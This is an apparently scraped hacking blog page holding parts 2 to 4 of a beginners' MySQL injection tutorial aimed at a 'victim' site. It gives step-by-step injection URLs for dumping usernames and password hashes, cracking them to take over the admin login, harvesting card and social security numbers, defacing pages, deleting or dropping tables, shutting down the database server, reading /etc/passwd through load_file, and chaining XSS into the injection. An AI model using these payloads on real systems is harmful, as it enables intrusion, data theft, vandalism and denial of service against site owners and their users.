<span style="font-family: "Trebuchet MS",sans-serif; font-size: small;"> Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..<br /><br />All the commands here are copy pasted from the post at h4cky0u & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..<br /><br /><b>ABORT</b> -- abort the current transaction<br /><b>ALTER DATABASE</b> -- change a database<br /><b>ALTER GROUP</b> -- add users to a group or remove users from a group<br /><b>ALTER TABLE</b> -- change the definition of a table<br /><b>ALTER TRIGGER</b> -- change the definition of a trigger<br /><b>ALTER USER</b> -- change a database user account<br /><b>ANALYZE</b> -- collect statistics about a database<br /><b>BEGIN</b> -- start a transaction block<br /><b>CHECKPOINT</b> -- force a transaction log checkpoint<br /><b>CLOSE</b> -- close a cursor<br /><b>CLUSTER</b> -- cluster a table according to an index<br /><b>COMMENT</b> -- define or change the comment of an object<br /><b>COMMIT</b> -- commit the current transaction<br /><b>COPY</b> -- copy data between files and tables<br /><b>CREATE AGGREGATE</b> -- define a new aggregate function<br /><b>CREATE CAST</b> -- define a user-defined cast<br /><b>CREATE CONSTRAINT TRIGGER</b> -- define a new constraint trigger<br /><b>CREATE CONVERSION</b> -- define a user-defined conversion<br /><b>CREATE DATABASE</b> -- create a new database<br /><b>CREATE DOMAIN</b> -- define a new domain<br /><b>CREATE FUNCTION</b> -- define a new function<br /><b>CREATE GROUP</b> -- define a new user group<br /><b>CREATE INDEX</b> -- define a new index<br /><b>CREATE LANGUAGE</b> -- define a new procedural language<br /><b>CREATE OPERATOR</b> -- define a new operator<br /><b>CREATE OPERATOR CLASS</b> -- define a new operator class for indexes<br /><b>CREATE RULE</b> -- define a new rewrite rule<br /><b>CREATE SCHEMA</b> -- define a new schema<br /><b>CREATE SEQUENCE</b> -- define a new sequence generator<br /><b>CREATE TABLE</b> -- define a new table<br /><b>CREATE TABLE AS</b> -- create a new table from the results of a query<br /><b>CREATE TRIGGER</b> -- define a new trigger<br /><b>CREATE TYPE</b> -- define a new data type<br /><b>CREATE USER</b> -- define a new database user account<br /><b>CREATE VIEW</b> -- define a new view<br /><b>DEALLOCATE</b> -- remove a prepared query<br /><b>DECLARE</b> -- define a cursor<br /><b>DELETE</b> -- delete rows of a table<br /><b>DROP AGGREGATE</b> -- remove a user-defined aggregate function<br /><b>DROP CAST</b> -- remove a user-defined cast<br /><b>DROP CONVERSION</b> -- remove a user-defined conversion<br /><b>DROP DATABASE</b> -- remove a database<br /><b>DROP DOMAIN</b> -- remove a user-defined domain<br /><b>DROP FUNCTION</b> -- remove a user-defined function<br /><b>DROP GROUP</b> -- remove a user group<br /><b>DROP INDEX</b> -- remove an index<br /><b>DROP LANGUAGE</b> -- remove a user-defined procedural language<br /><b>DROP OPERATOR</b> -- remove a user-defined operator<br /><b>DROP OPERATOR CLASS</b> -- remove a user-defined operator class<br /><b>DROP RULE</b> -- remove a rewrite rule<br /><b>DROP SCHEMA</b> -- remove a schema<br /><b>DROP SEQUENCE</b> -- remove a sequence<br /><b>DROP TABLE</b> -- remove a table<br /><b>DROP TRIGGER</b> -- remove a trigger<br /><b>DROP TYPE</b> -- remove a user-defined data type<br /><b>DROP USER</b> -- remove a database user account<br /><b>DROP VIEW</b> -- remove a view<br /><b>END</b> -- commit the current transaction<br /><b>EXECUTE</b> -- execute a prepared query<br /><b>EXPLAIN</b> -- show the execution plan of a statement<br /><b>FETCH</b> -- retrieve rows from a table using a cursor<br /><b>GRANT</b> -- define access privileges<br /><b>INSERT</b> -- create new rows in a table<br /><b>LISTEN</b> -- listen for a notification<br /><b>LOAD</b> -- load or reload a shared library file<br /><b>LOCK</b> -- explicitly lock a table<br /><b>MOVE</b> -- position a cursor on a specified row of a table<br /><b>NOTIFY</b> -- generate a notification<br /><b>PREPARE</b> -- create a prepared query<br /><b>REINDEX</b> -- rebuild corrupted indexes<br /><b>RESET</b> -- restore the value of a run-time parameter to a default value<br /><b>REVOKE</b> -- remove access privileges<br /><b>ROLLBACK</b> -- abort the current transaction<br /><b>SELECT</b> -- retrieve rows from a table or view<br /><b>SELECT INTO</b> -- create a new table from the results of a query<br /><b>SET</b> -- change a run-time parameter<br /><b>SET CONSTRAINTS</b> -- set the constraint mode of the current transaction<br /><b>SET SESSION AUTHORIZATION</b> -- set the session user identifier and the current user identifier of the current session<br /><b>SET TRANSACTION</b> -- set the characteristics of the current transaction<br /><b>SHOW</b> -- show the value of a run-time parameter<br /><b>START TRANSACTION</b> -- start a transaction block<br /><b>TRUNCATE</b> -- empty a table<br /><b>UNLISTEN</b> -- stop listening for a notification<br /><b>UPDATE</b> -- update rows of a table<br /><b>VACUUM</b> -- garbage-collect and optionally analyze a database</span><span style="font-size: small;"> </span><br /><br /><div style="font-family: "Trebuchet MS",sans-serif;"><b><span style="font-size: small;">Finalizing The Injection Tutorial</span></b></div><br /><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"> I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you.. </span><span style="font-size: small;"> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><br /></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Code:</span></div><div style="font-family: "Trebuchet MS",sans-serif; margin: 5px 20px 20px;"><pre class="alt2" dir="ltr" style="border: 1px inset; height: 66px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 440px;"><span style="font-size: small;">site.com/article.php?id=5 UNION ALL SELECT <script><br />alert("XSS via SQL injection");<br /></script>,2/*</span></pre></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..<br /><br />Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..<br /><br />In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><br /></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...</span><br /><br />And finally, read more and more, ask more and more because that is the best way to learn anything.<br /><br />Keep Learning & Enjoy It.<span style="font-size: small;"> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><br /></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><i><b>Please do comment if you find anything missing and note that your comments are highly valued and appreciated. </b></i></span><br /><br /><a href="http://prohackingtricks.blogspot.com/2010/12/mysql-injection-for-absolute-beginners_480.html"><span style="font-size: small;"><b>PREVIOUS (PART 3)</b></span></a> </div>

MySQL Injection for absolute beginners (PART 4)

Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in...

Read more »

MySQL Injection for absolute beginners (PART 3)

<div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>MySQL version 4 injection:</b><br /><br />Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 because it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the MySQL version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...<br /><br />Anyway, lets go for MySQL version 4 injection...<br /><br />For example, u would do as below:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*</span><br /><br />Here, I guessed for the table name as user. But this gave me the error because the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.<br /><br />When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*</span><br /><br />The page loaded normally. Now again u have to guess the column names present in the tbluser table.<br /><br />I do something like below:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    //this gave me error so there is no column with this name.</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    //It loaded the page normally along with the username from the table.</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    //it errored so again the column pass doesnot exist in the table tbluser.</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    //the page loaded normally with password hash(or plaintext password).</span><br /><br />Now u may do this:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span><br /><br />This gave me:<br /><i><b>admin:9F14974D57DE204E37C11AEAC3EE4940</b></i><br /><br />On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.<br /><br />Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...<br /><br />U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.<br /><br /><b>Modifying Site Content</b><br /><br />Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.<br /><br />Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed. But stacked queries donot work in MySQL.<br /><br />First let me list these commands:<br /><br />UPDATE: It is used to edit infos already in the db without deleting any rows.<br />DELETE: It is used to delete the contents of one or more fields.<br />DROP: It is used completely delete a table & all its associated data.<br />Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.<br />Command Usage:<br />UPDATE: Our vulnerable page is:</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5</span><br /><br />Lets say the query is:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">SELECT title,data,author FROM article WHERE id=5</span><br /><br />Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.<br /><br />So we would do:<br /><br />Code:<br /><br />site.com/article.php?id=5 UPDATE article SET title='Hacked By sam207'/*<br /><br />or, u could alternatively do:<br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UPDATE article SET title='HACKED BY SAM207',data='Ur site has zero    </span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">    security',author='sam207'/*</span><br /><br />By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data, & author in the table article.<br />Sometimes, u may want to change the specific page with id=5. For this u will do:<br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Code:<br /><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*</span><br /><br />DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.<br />The syntax is:<br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 DELETE title,data,author FROM article/*</span><br /><br />or if u want to delete these fields from the id=5, u will do:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*</span><br /><br />DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.<br />For this, we make our URL as:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 DROP TABLE article/*</span><br /><br />This would delete table article & all its contents.<br /><br />Finally, I want to say little about ;<br /><br />Though I have not used this in my tutorial, u can use it to end ur first query and start another one.<br /><br />This ; can be kept at the end of our first query so that we can start new query after it.<br /><br /><b>Shutting Down MySQL Server</b><br /><br />This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;<br /><br />So, you would craft a query which would execute the above command...<br /><br />For example, in my case, I would do the following:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;</span><br /><br />WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...<br /><br /><b>Loadfile</b><br /><br />MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..<br /><br />Do something like below:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*</span><br /><br />But sometimes, you will have to hex the part & do something like below:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)</span><br /><br />where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..<br /><br /><b>MySQL Root</b><br /><br />If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the MySQL database which ships with every installation of MySQL..<br /><br />For this, you will do:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*</span><br /><br />Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But insidepro.com has one to do it..</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><a href="http://www.blogger.com/goog_1080781396"><span style="font-size: small;"><br /></span></a></div><div style="font-family: "Trebuchet MS",sans-serif;"><b><span style="font-size: small;"><a href="http://prohackingtricks.blogspot.com/2010/12/mysql-injection-for-absolute-beginners_04.html">PREVIOUS (PART 2) </a></span></b></div><div style="font-family: "Trebuchet MS",sans-serif;"><b><span style="font-size: small;"> </span></b></div><div style="font-family: "Trebuchet MS",sans-serif;"><b><span style="font-size: small;">NEXT (PART 4) </span></b></div>

MySQL Injection for absolute beginners (PART 3)

MySQL version 4 injection: Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL...

Read more »

MySQL Injection for absolute beginners (PART 2)

<div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><b>Accessing Secret Data</b><br /><br />SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.<br /><br /><b>Checking for vulnerability</b><br /><br />Suppose, u got a site:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5</span><br /><br />Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.<br />So, it is:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5'</span><br /><br />Now if the site is not vulnerable, it filters and the page loads normally.<br />But, if it doesn't filter the query string, it would give the error something like below:</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /><b><i>"MySQL Syntax Error By '5'' In Article.php on line 15."</i></b><br /> </span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;">or</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /><i><b>error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.</b></i><br /><br />Also just using ' may not be the sure test; so you may try different things like:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 union select 1--</span><br /><br />If you get error with this, you again come to know that its vulnerable... Just try different things..<br /><br /><b>Find the number of columns</b><br /><br />So, now its time to find the number of columns present. For this purpose, we will be using <b><i>'order by' </i></b>until we get error.<br /><br />That is, we make our URL query as:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 order by 1/*</span><br /><br />This didn't give error.<br /><br />Now, I do increase it to 2.<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 order by 2/*</span><br /><br />Still no error<br />So, we need to increase until we get the error.<br /><br />In my example, I got error when I put the value 3 i.e.<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 order by 3/*</span><br /><br />This gave me error.<br /><br /><i>So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.</i><br /><br /><b>Addressing Vulnerable Part</b><br /><br />Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.<br /><br />First lets craft the union statement which won't error.. This becomes like this:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT null/*</span><br /><br />This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..<br /><br />So for our injection, it becomes:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT null,null/*</span><br /><br />For this we do:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT 1,2/*</span><br /><br />Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.<br /><br />In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.<br /><br />Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT sam207,null/*</span><br /><br />or<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT null,sam207/*</span><br /><br />If sam207 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..<br /><br /><b>Finding MySQL version:</b><br /><br />For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().<br /><br />So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT @@version,2/*</span><br /><br />or<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT version(),2/*</span><br /><br />So, this would return the version of MySQL running on the server.<br /><br />But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*</span><br /><br />Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.<br /><br />@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.<br /><br />Quick note: Also, you may check for user, database,etc.. by using following:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT user(),2/*</span><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT database(),2/*</span><br /><br /><b>MySQL 5 or above injection:</b><br /><br />Here, I m gonna show u how to access data in the server running MySQL 5 or above.<br /><br />U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.<br /><br />For getting table list, we use: table_name from information_schema.tables<br /><br />For getting column list, we use: column_name from information_schema.columns<br /><br />So our query for getting the table list in our example would be:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*</span><br /><br />And yeah if u had to use unhex(hex()) while finding version, u will have to do:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*</span><br /><br />This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.<br /><br />Similarly, to get the column list, we would make our query as:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*</span><br /><br />This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.<br /><br />Alternatively to find the column in the specific table, u can do something like below:<br /><br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'</span><br /><br />This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.<br /><br />Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.<br /><br />There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using semicolon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)<br /><br />What I do is:<br /><br />Code:<br /><br style="font-family: Times,"Times New Roman",serif;" /><span style="font-family: Times,"Times New Roman",serif;">site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span><br /><br />And this gives me the username and password like below:<br />Code:<br /><br /><span style="font-family: Times,"Times New Roman",serif;">admin:9F14974D57DE204E37C11AEAC3EE4940</span><br /><br />Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(<a href="http://openwalls.org/">openwalls.org</a>), Cain & Able(<a href="http://oxid.it/">oxid.it</a>) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.<br /><br />Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.</span></div><div style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: small;"><br /></span></div><div style="font-family: "Trebuchet MS",sans-serif;"><b><a href="http://prohackingtricks.blogspot.com/2010/12/mysql-injection-for-absolute-beginners.html"><span style="font-size: small;">PREVIOUS (PART ONE)</span></a></b></div><div style="font-family: "Trebuchet MS",sans-serif;"><br /><a href="http://prohackingtricks.blogspot.com/2010/12/mysql-injection-for-absolute-beginners_480.html"><b><span style="font-size: small;">NEXT (PART THREE)</span></b></a></div>

MySQL Injection for absolute beginners (PART 2)

Accessing Secret Data SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and se...

Read more »